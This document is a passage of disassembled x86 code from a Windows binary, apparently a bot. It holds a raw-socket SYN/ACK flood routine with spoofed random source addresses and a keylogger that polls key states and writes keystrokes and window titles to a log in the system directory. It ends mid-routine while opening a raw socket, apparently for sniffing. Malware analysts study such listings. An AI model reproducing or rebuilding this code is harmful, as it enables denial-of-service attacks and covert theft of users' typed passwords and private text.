		mov	[ebp+var_20], 45h
		call	dword_43EB24	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_43EB24	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_43EB24	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_423060	; QueryPerformanceFrequency
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_42305C	; QueryPerformanceCounter
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_417460
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_401B8F:				; CODE XREF: sub_401A64+25Dj
					; sub_401A64+269j
		mov	[ebp+var_24], bx
		call	sub_417012
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43EB24	; htons
		mov	[ebp+var_34], ax
		call	sub_417012
		mov	edi, eax
		shl	edi, 10h
		call	sub_417012
		or	edi, eax
		push	edi
		call	dword_43EB24	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43EB20	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43EB24	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417090
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417090
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AD61
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417090
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417090
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417030
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AD61
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417090
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_43EB88	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401CEC
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_42305C	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401CD3
		jl	loc_401B8F
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jb	loc_401B8F

loc_401CD3:				; CODE XREF: sub_401A64+25Bj
		mov	ebx, [ebp+arg_8]

loc_401CD6:				; CODE XREF: sub_401A64+78j
					; sub_401A64+2AFj
		push	[ebp+var_C]
		call	dword_43EBBC	; closesocket
		pop	esi

loc_401CE0:				; CODE XREF: sub_401A64+5Bj
		call	dword_43EA84	; WSACleanup
		mov	eax, ebx

loc_401CE8:				; CODE XREF: sub_401A64+3Bj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401CEC:				; CODE XREF: sub_401A64+247j
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4252CC
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BD8D
		add	esp, 10h
		jmp	short loc_401CD6
sub_401A64	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D15	proc near		; CODE XREF: sub_4019C8+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ABF8
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41751F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41751F
		mov	edi, eax
		call	sub_417012
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_401A64
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401D5E
		inc	eax

loc_401D5E:				; CODE XREF: sub_401D15+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D6D	proc near		; DATA XREF: sub_40EC43+2CF2o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		xor	esi, esi
		push	0Eh
		inc	esi
		xor	ebx, ebx
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_9F]
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_423058
		call	edi	; GetTickCount
		push	eax
		call	sub_417008
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_43EBA4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401E36
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_425440
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401E16
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D476
		add	esp, 14h

loc_401E16:				; CODE XREF: sub_401D6D+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_BC]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread

loc_401E36:				; CODE XREF: sub_401D6D+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_43EB04	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401EB4
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4253F8
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401E94
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D476
		add	esp, 14h

loc_401E94:				; CODE XREF: sub_401D6D+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_BC]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread

loc_401EB4:				; CODE XREF: sub_401D6D+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43EB64	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401F24
		lea	eax, [ebp+var_440]
		push	offset dword_4253C8
		push	eax
		call	sub_416FB6
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401F04
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D476
		add	esp, 14h

loc_401F04:				; CODE XREF: sub_401D6D+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_BC]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread

loc_401F24:				; CODE XREF: sub_401D6D+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_43EB24	; htons
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43EB64	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax
		jmp	loc_40218C
; ---------------------------------------------------------------------------

loc_401F61:				; CODE XREF: sub_401D6D+433j
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_43EB24	; htons
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401FBA
		call	sub_417012
		mov	esi, eax
		shl	esi, 8
		call	sub_417012
		add	esi, eax
		shl	esi, 8
		call	sub_417012
		add	esi, eax
		shl	esi, 8
		call	sub_417012
		add	esi, eax
		mov	[ebp+var_20], esi
		xor	esi, esi
		inc	esi
		jmp	short loc_401FD0
; ---------------------------------------------------------------------------

loc_401FBA:				; CODE XREF: sub_401D6D+21Ej
		push	[ebp+var_240]
		call	sub_40AD08
		pop	ecx
		push	eax
		call	dword_43EB64	; inet_addr
		mov	[ebp+var_20], eax

loc_401FD0:				; CODE XREF: sub_401D6D+24Bj
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_401FEE
		call	sub_417012
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_401FF4
; ---------------------------------------------------------------------------

loc_401FEE:				; CODE XREF: sub_401D6D+26Fj
		push	[ebp+var_B8]

loc_401FF4:				; CODE XREF: sub_401D6D+27Fj
		call	dword_43EB24	; htons
		mov	[ebp+var_16], ax
		call	sub_417012
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43EB24	; htons
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_43EB20	; htonl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_417580
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402044
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_4020A0
; ---------------------------------------------------------------------------

loc_402044:				; CODE XREF: sub_401D6D+2CCj
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_417580
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402064
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_4020A0
; ---------------------------------------------------------------------------

loc_402064:				; CODE XREF: sub_401D6D+2ECj
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_417580
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020A0
		call	sub_417012
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_417012
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl

loc_4020A0:				; CODE XREF: sub_401D6D+2D5j
					; sub_401D6D+2F5j ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_43EB24	; htons
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_43EB24	; htons
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417090
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_417090
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AD61
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417090
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_417090
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_417030
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AD61
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417090
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_43EB88	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_402237
		inc	[ebp+arg_0]

loc_40218C:				; CODE XREF: sub_401D6D+1EFj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_B4]
		jbe	loc_401F61
		push	[ebp+var_4]
		call	dword_43EBBC	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_425358
		push	eax
		call	sub_416FB6
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402217
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D476
		add	esp, 14h

loc_402217:				; CODE XREF: sub_401D6D+485j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_BC]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread

loc_402237:				; CODE XREF: sub_401D6D+416j
		push	[ebp+var_4]
		call	dword_43EBBC	; closesocket
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_4252F8
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41752A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402295
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D476
		add	esp, 14h

loc_402295:				; CODE XREF: sub_401D6D+503j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_BC]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_423054	; ExitThread
sub_401D6D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022B5	proc near		; CODE XREF: sub_402394+B4p
					; sub_402394+247p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_42306C	; GetLocalTime
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	dword_423068	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	offset asc_425C34 ; "\\"
		push	eax
		call	sub_4176D0
		lea	eax, [ebp+var_114]
		push	offset dword_42E9C4
		push	eax
		call	sub_4176D0
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4176A8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_40231A
		inc	eax
		jmp	short loc_402391
; ---------------------------------------------------------------------------

loc_40231A:				; CODE XREF: sub_4022B5+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_417656
		push	esi
		call	sub_417600
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_40238F
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_425BF4
		push	200h
		push	eax
		call	sub_41752A
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 24h

loc_40238F:				; CODE XREF: sub_4022B5+A1j
		xor	eax, eax

loc_402391:				; CODE XREF: sub_4022B5+63j
		pop	esi
		leave
		retn
sub_4022B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402394	proc near		; DATA XREF: sub_40EC43+1EF6o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_43EAAC	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43EAC0	; GetWindowTextA
		mov	ebx, 200h

loc_4023EF:				; CODE XREF: sub_402394+2BBj
		push	8
		call	dword_423064	; Sleep
		call	dword_43EAAC	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	short loc_402477
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43EAC0	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_416FB6
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022B5
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417030
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417030
		add	esp, 0Ch

loc_402477:				; CODE XREF: sub_402394+6Cj
		mov	[ebp+arg_0], offset dword_42548C

loc_40247E:				; CODE XREF: sub_402394+2B1j
		push	10h
		call	dword_43EA04	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_43EAF0	; GetAsyncKeyState
		test	ah, ah
		jns	short loc_402515
		push	14h
		call	dword_43EA04	; GetKeyState
		test	ax, ax
		jz	short loc_4024C6
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4024C6
		cmp	edi, 40h
		jle	short loc_4024C6
		cmp	edi, 5Bh
		jge	short loc_4024C6
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_40263A
; ---------------------------------------------------------------------------

loc_4024C6:				; CODE XREF: sub_402394+111j
					; sub_402394+116j ...
		push	14h
		call	dword_43EA04	; GetKeyState
		test	ax, ax
		jz	short loc_4024F1
		test	esi, esi
		jge	short loc_402505
		cmp	edi, 40h
		jle	short loc_4024F1
		cmp	edi, 5Bh
		jge	short loc_4024F1
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_40263A
; ---------------------------------------------------------------------------

loc_4024F1:				; CODE XREF: sub_402394+13Dj
					; sub_402394+146j ...
		test	esi, esi
		jge	short loc_402505
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_40263A
; ---------------------------------------------------------------------------

loc_402505:				; CODE XREF: sub_402394+141j
					; sub_402394+15Fj
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_40263A
; ---------------------------------------------------------------------------

loc_402515:				; CODE XREF: sub_402394+104j
		lea	eax, [ebp+edi*4+var_8DC]
		mov	esi, [eax]
		test	esi, esi
		jz	loc_40263A
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4177B0
		cmp	edi, 8
		pop	ecx
		jnz	short loc_402548
		and	[ebp+eax+var_2DD], 0
		jmp	loc_40263A
; ---------------------------------------------------------------------------

loc_402548:				; CODE XREF: sub_402394+1A5j
		cmp	eax, 1B9h
		jbe	short loc_402574
		call	dword_43EAAC	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43EAC0	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_4025B5
; ---------------------------------------------------------------------------

loc_402574:				; CODE XREF: sub_402394+1B9j
		cmp	edi, 0Dh
		jnz	loc_40260C
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4177B0
		test	eax, eax
		pop	ecx
		jz	loc_40263A
		call	dword_43EAAC	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43EAC0	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"

loc_4025B5:				; CODE XREF: sub_402394+1DEj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_416FB6
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022B5
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417030
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417030
		add	esp, 0Ch
		jmp	short loc_40263A
; ---------------------------------------------------------------------------

loc_40260C:				; CODE XREF: sub_402394+1E3j
		cmp	esi, 1
		jz	short loc_402625
		cmp	esi, 3
		jz	short loc_402625
		cmp	esi, 2
		jz	short loc_402620
		cmp	esi, 4
		jnz	short loc_40263A

loc_402620:				; CODE XREF: sub_402394+285j
		push	[ebp+arg_0]
		jmp	short loc_40262C
; ---------------------------------------------------------------------------

loc_402625:				; CODE XREF: sub_402394+27Bj
					; sub_402394+280j
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax

loc_40262C:				; CODE XREF: sub_402394+28Fj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4176D0
		pop	ecx
		pop	ecx

loc_40263A:				; CODE XREF: sub_402394+12Dj
					; sub_402394+158j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_425BBC
		jl	loc_40247E
		cmp	[ebp+var_4], 0
		jz	loc_4023EF
		push	[ebp+var_D8]
		call	sub_416D90
		pop	ecx
		push	0
		call	dword_423054	; ExitThread
sub_402394	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402669	proc near		; DATA XREF: sub_40EC43+1D48o

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_417830
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		xor	eax, eax
		pop	ecx
		mov	esi, edx
		lea	edi, [ebp+var_B4]
		inc	eax
		push	10h
		rep movsd
		mov	[ebp+var_8], eax
		mov	[edx+90h], eax
		xor	esi, esi
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_43EB24	; htons
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AD08
		pop	ecx
		push	eax
		call	dword_43EB64	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_43EBA4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_40273E
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_426628
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402721
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D476
		add	esp, 14h

loc_402721:				; CODE XREF: sub_402669+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_30]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread

loc_40273E:				; CODE XREF: sub_402669+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_444574[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_43EB50	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4027C3
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4265E0
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_40279F
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D476
		add	esp, 14h

loc_40279F:				; CODE XREF: sub_402669+114j
